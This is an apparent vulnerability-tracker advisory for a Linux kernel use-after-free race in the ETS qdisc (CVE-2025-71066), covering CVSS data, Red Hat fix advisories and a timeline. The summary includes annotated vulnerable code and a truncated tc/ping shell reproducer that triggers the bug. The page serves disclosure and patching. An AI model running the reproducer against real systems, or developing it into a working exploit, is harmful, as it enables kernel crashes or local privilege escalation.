net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
Key facts
- Attack vector
- Local
- Privileges required
- Low
- User interaction
- None
- Attack complexity
- Low
- Impact type
- —
- Confidentiality · integrity · availability
- High · High · High
- Fix status
- Partial Red Hat: 34 fixed, 1 without a fix
Attack profile from CVSS 3.1 · CNA. Fix status from CNA and Red Hat.
Summary
In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change [email protected] says: The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc Reproducer Steps (trimmed version of what was sent by [email protected]) ``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}" SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
Why it matters now
SSVC decision points
CISA ADP · SSVC 2.0.3
- Exploitation
- None
- Automatable
- No
- Technical impact
- Total
The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.
Affected products
Remediation
- Fix · CNA Linux (Linux) Fixed in 5.10.248, 5.15.198
- Fix · CNA Linux (Linux) Fixed in 5.10.248, 5.15.198, 6.1.160, 6.6.120, 6.12.64, 6.18.3, 6.19
Red Hat 10 advisories
- RHSA-2026:94996 Released 2026-11-04 · Red Hat rating Criticalkernel security, bug fix, and enhancement update
- Red Hat Enterprise Linux BaseOS AUS (v.8.6) bpftool-4.18.0-372.227.1.el8_6, kernel-4.18.0-372.227.1.el8_6, kernel-abi-stablelists-4.18.0-372.227.1.el8_6 +14
- Red Hat Enterprise Linux BaseOS EUS EXTENSION (v.8.6) bpftool-4.18.0-372.227.1.el8_6, kernel-4.18.0-372.227.1.el8_6, kernel-abi-stablelists-4.18.0-372.227.1.el8_6 +14
- RHSA-2026:94558 Released 2026-11-03 · Red Hat rating Criticalkernel-rt security, bug fix, and enhancement update
- Red Hat Enterprise Linux Real Time E4S (v.9.2) kernel-rt-5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-core-5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-debug-5.14.0-284.202.1.rt14.487.el9_2 +9
- Red Hat Enterprise Linux Real Time for NFV E4S (v.9.2) kernel-rt-5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-core-5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-debug-5.14.0-284.202.1.rt14.487.el9_2 +11
- RHSA-2026:94508 Released 2026-11-03 · Red Hat rating Criticalkernel security, bug fix, and enhancement update
- Red Hat Enterprise Linux AppStream EUS (v. 10.0) kernel-64k-debug-devel-6.12.0-55.117.1.el10_0, kernel-64k-debug-devel-matched-6.12.0-55.117.1.el10_0, kernel-64k-devel-6.12.0-55.117.1.el10_0 +12
- Red Hat Enterprise Linux BaseOS EUS (v. 10.0) kernel-6.12.0-55.117.1.el10_0, kernel-64k-6.12.0-55.117.1.el10_0, kernel-64k-core-6.12.0-55.117.1.el10_0 +28
- Red Hat Enterprise Linux CodeReady Linux Builder EUS (v. 10.0) kernel-tools-libs-devel-6.12.0-55.117.1.el10_0, libperf-6.12.0-55.117.1.el10_0
- Red Hat Enterprise Linux Real Time EUS (v. 10.0) kernel-rt-6.12.0-55.117.1.el10_0, kernel-rt-64k-6.12.0-55.117.1.el10_0, kernel-rt-64k-core-6.12.0-55.117.1.el10_0 +21
- Red Hat Enterprise Linux Real Time for NFV EUS (v. 10.0) kernel-rt-6.12.0-55.117.1.el10_0, kernel-rt-core-6.12.0-55.117.1.el10_0, kernel-rt-debug-6.12.0-55.117.1.el10_0 +11
Show 7 more Red Hat advisories
- RHSA-2026:94477 Released 2026-11-03 · Red Hat rating Criticalkernel security, bug fix, and enhancement update
- Red Hat Enterprise Linux AppStream E4S (v.9.2) kernel-64k-debug-devel-5.14.0-284.202.1.el9_2, kernel-64k-debug-devel-matched-5.14.0-284.202.1.el9_2, kernel-64k-devel-5.14.0-284.202.1.el9_2 +10
- Red Hat Enterprise Linux BaseOS E4S (v.9.2) bpftool-7.0.0-284.202.1.el9_2, kernel-5.14.0-284.202.1.el9_2, kernel-64k-5.14.0-284.202.1.el9_2 +29
- RHSA-2026:94438 Released 2026-11-03 · Red Hat rating Criticalkernel security, bug fix, and enhancement update
- Red Hat CodeReady Linux Builder EUS (v.9.6) kernel-tools-libs-devel-5.14.0-570.154.1.el9_6, libperf-5.14.0-570.154.1.el9_6
- Red Hat Enterprise Linux AppStream EUS (v.9.6) kernel-64k-debug-devel-5.14.0-570.154.1.el9_6, kernel-64k-debug-devel-matched-5.14.0-570.154.1.el9_6, kernel-64k-devel-5.14.0-570.154.1.el9_6 +12
- Red Hat Enterprise Linux BaseOS EUS (v.9.6) kernel-5.14.0-570.154.1.el9_6, kernel-64k-5.14.0-570.154.1.el9_6, kernel-64k-core-5.14.0-570.154.1.el9_6 +28
- Red Hat Enterprise Linux Real Time EUS (v.9.6) kernel-rt-5.14.0-570.154.1.el9_6, kernel-rt-64k-5.14.0-570.154.1.el9_6, kernel-rt-64k-core-5.14.0-570.154.1.el9_6 +21
- Red Hat Enterprise Linux Real Time for NFV EUS (v.9.6) kernel-rt-5.14.0-570.154.1.el9_6, kernel-rt-core-5.14.0-570.154.1.el9_6, kernel-rt-debug-5.14.0-570.154.1.el9_6 +11
- RHSA-2026:94109 Released 2026-11-02 · Red Hat rating Criticalkernel security, bug fix, and enhancement update
- Red Hat Enterprise Linux AppStream E4S (v.9.4) kernel-64k-debug-devel-5.14.0-427.161.1.el9_4, kernel-64k-debug-devel-matched-5.14.0-427.161.1.el9_4, kernel-64k-devel-5.14.0-427.161.1.el9_4 +11
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- RHSA-2026:39083 Released 2026-07-14 · Red Hat rating Importantkernel security update
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- RHSA-2026:36957 Released 2026-07-09 · Red Hat rating Importantkernel security update
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- Red Hat Enterprise Linux CodeReady Linux Builder (v. 9) kernel-tools-libs-devel-5.14.0-687.24.1.el9_8, libperf-5.14.0-687.24.1.el9_8
- Red Hat Enterprise Linux Real Time (v. 9) kernel-rt-5.14.0-687.24.1.el9_8, kernel-rt-64k-5.14.0-687.24.1.el9_8, kernel-rt-64k-core-5.14.0-687.24.1.el9_8 +21
- Red Hat Enterprise Linux Real Time for NFV (v. 9) kernel-rt-5.14.0-687.24.1.el9_8, kernel-rt-core-5.14.0-687.24.1.el9_8, kernel-rt-debug-5.14.0-687.24.1.el9_8 +9
- RHSA-2026:36956 Released 2026-07-09 · Red Hat rating Importantkernel security update
- Red Hat Enterprise Linux AppStream (v. 10) kernel-64k-debug-devel-6.12.0-211.32.1.el10_2, kernel-64k-debug-devel-matched-6.12.0-211.32.1.el10_2, kernel-64k-devel-6.12.0-211.32.1.el10_2 +12
- Red Hat Enterprise Linux BaseOS (v. 10) kernel-6.12.0-211.32.1.el10_2, kernel-64k-6.12.0-211.32.1.el10_2, kernel-64k-core-6.12.0-211.32.1.el10_2 +29
- Red Hat Enterprise Linux CodeReady Linux Builder (v. 10) kernel-tools-libs-devel-6.12.0-211.32.1.el10_2, libperf-6.12.0-211.32.1.el10_2
- Red Hat Enterprise Linux Real Time (v. 10) kernel-rt-6.12.0-211.32.1.el10_2, kernel-rt-64k-6.12.0-211.32.1.el10_2, kernel-rt-64k-core-6.12.0-211.32.1.el10_2 +21
- Red Hat Enterprise Linux Real Time for NFV (v. 10) kernel-rt-6.12.0-211.32.1.el10_2, kernel-rt-core-6.12.0-211.32.1.el10_2, kernel-rt-debug-6.12.0-211.32.1.el10_2 +9
Vendor assessments
Red Hat
Red Hat rating: Moderate. Red Hat's page for this CVE →
| Product | Status | Plan or fix |
|---|---|---|
| Red Hat Enterprise Linux 9 | Affected | No fix yet |
| Red Hat CodeReady Linux Builder EUS (v.9.6) | Fixed | RHSA-2026:94438 |
| Red Hat Enterprise Linux AppStream (v. 10) | Fixed | RHSA-2026:36956 |
| Red Hat Enterprise Linux AppStream (v. 9) | Fixed | RHSA-2026:36957 |
| Red Hat Enterprise Linux AppStream E4S (v.9.2) | Fixed | RHSA-2026:94477 |
| Red Hat Enterprise Linux AppStream E4S (v.9.4) | Fixed | RHSA-2026:94109 |
| Red Hat Enterprise Linux AppStream EUS (v. 10.0) | Fixed | RHSA-2026:94508 |
| Red Hat Enterprise Linux AppStream EUS (v.9.6) | Fixed | RHSA-2026:94438 |
| Red Hat Enterprise Linux BaseOS (v. 10) | Fixed | RHSA-2026:36956 |
| Red Hat Enterprise Linux BaseOS (v. 8) | Fixed | RHSA-2026:39083 |
| Red Hat Enterprise Linux BaseOS (v. 9) | Fixed | RHSA-2026:36957 |
| Red Hat Enterprise Linux BaseOS AUS (v.8.6) | Fixed | RHSA-2026:94996 |
| Red Hat Enterprise Linux BaseOS E4S (v.9.2) | Fixed | RHSA-2026:94477 |
| Red Hat Enterprise Linux BaseOS E4S (v.9.4) | Fixed | RHSA-2026:94109 |
| Red Hat Enterprise Linux BaseOS EUS (v. 10.0) | Fixed | RHSA-2026:94508 |
| Red Hat Enterprise Linux BaseOS EUS (v.9.6) | Fixed | RHSA-2026:94438 |
| Red Hat Enterprise Linux BaseOS EUS EXTENSION (v.8.6) | Fixed | RHSA-2026:94996 |
| Red Hat Enterprise Linux CRB (v. 8) | Fixed | RHSA-2026:39083 |
| Red Hat Enterprise Linux CodeReady Linux Builder (v. 10) | Fixed | RHSA-2026:36956 |
| Red Hat Enterprise Linux CodeReady Linux Builder (v. 9) | Fixed | RHSA-2026:36957 |
| Red Hat Enterprise Linux CodeReady Linux Builder EUS (v. 10.0) | Fixed | RHSA-2026:94508 |
| Red Hat Enterprise Linux NFV (v. 8) | Fixed | RHSA-2026:39082 |
| Red Hat Enterprise Linux RT (v. 8) | Fixed | RHSA-2026:39082 |
| Red Hat Enterprise Linux Real Time (v. 10) | Fixed | RHSA-2026:36956 |
| Red Hat Enterprise Linux Real Time (v. 9) | Fixed | RHSA-2026:36957 |
| Red Hat Enterprise Linux Real Time E4S (v.9.2) | Fixed | RHSA-2026:94558 |
| Red Hat Enterprise Linux Real Time E4S (v.9.4) | Fixed | RHSA-2026:94109 |
| Red Hat Enterprise Linux Real Time EUS (v. 10.0) | Fixed | RHSA-2026:94508 |
| Red Hat Enterprise Linux Real Time EUS (v.9.6) | Fixed | RHSA-2026:94438 |
| Red Hat Enterprise Linux Real Time for NFV (v. 10) | Fixed | RHSA-2026:36956 |
| Red Hat Enterprise Linux Real Time for NFV (v. 9) | Fixed | RHSA-2026:36957 |
| Red Hat Enterprise Linux Real Time for NFV E4S (v.9.2) | Fixed | RHSA-2026:94558 |
| Red Hat Enterprise Linux Real Time for NFV E4S (v.9.4) | Fixed | RHSA-2026:94109 |
| Red Hat Enterprise Linux Real Time for NFV EUS (v. 10.0) | Fixed | RHSA-2026:94508 |
| Red Hat Enterprise Linux Real Time for NFV EUS (v.9.6) | Fixed | RHSA-2026:94438 |
Not affected: 2 products
- Red Hat Enterprise Linux 6
- Red Hat Enterprise Linux 7
Timeline
- 2026-10-02 Threatist record created from CVE-2025-71066
- 2026-10-03 Alias added: GHSA-m4cc-c4jq-h2wr
- 2026-11-03 Fix available: RHSA-2026:94109 · Red Hat
- 2026-11-03 Fix available: Red Hat Enterprise Linux AppStream E4S (v.9.4), Red Hat Enterprise Linux BaseOS E4S (v.9.4), Red Hat Enterprise Linux Real Time E4S (v.9.4) +1 · Red Hat
- 2026-11-03 Fix available: RHSA-2026:94477 · Red Hat
- 2026-11-03 Fix available: RHSA-2026:94438 · Red Hat
- 2026-11-03 Fix available: RHSA-2026:94508 · Red Hat
- 2026-11-03 Fix available: RHSA-2026:94558 · Red Hat
- 2026-11-03 Fix available: Red Hat CodeReady Linux Builder EUS (v.9.6), Red Hat Enterprise Linux AppStream E4S (v.9.2), Red Hat Enterprise Linux AppStream EUS (v. 10.0) +11 · Red Hat
- 2026-11-04 Fix available: RHSA-2026:94996 · Red Hat
- 2026-11-04 Fix available: Red Hat Enterprise Linux BaseOS AUS (v.8.6), Red Hat Enterprise Linux BaseOS EUS EXTENSION (v.8.6) · Red Hat
References
Other 7
- https://git.kernel.org/stable/c/062d5d544e564473450d72e6af83077c2b2ff7c3
- https://git.kernel.org/stable/c/c7f6e7cc14df72b997258216e99d897d2df0dbbd
- https://git.kernel.org/stable/c/a75d617a4ef08682f5cfaadc01d5141c87e019c9
- https://git.kernel.org/stable/c/9987cda315c08f63a02423fa2f9a1f6602c861a0
- https://git.kernel.org/stable/c/06bfb66a7c8b45e3fed01351a4b087410ae5ef39
- https://git.kernel.org/stable/c/45466141da3c98a0c5fa88be0bc14b4b6a4bd75c
- https://git.kernel.org/stable/c/ce052b9402e461a9aded599f5b47e76bc727f7de
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Sources
- CVE-2025-71066 · CVE Program
- CVE-2025-71066 · NVD
- FIRST EPSS
- GHSA-m4cc-c4jq-h2wr · GitHub Advisory Database · CC BY 4.0
- CVE-2025-71066 · Red Hat security data · CC BY 4.0
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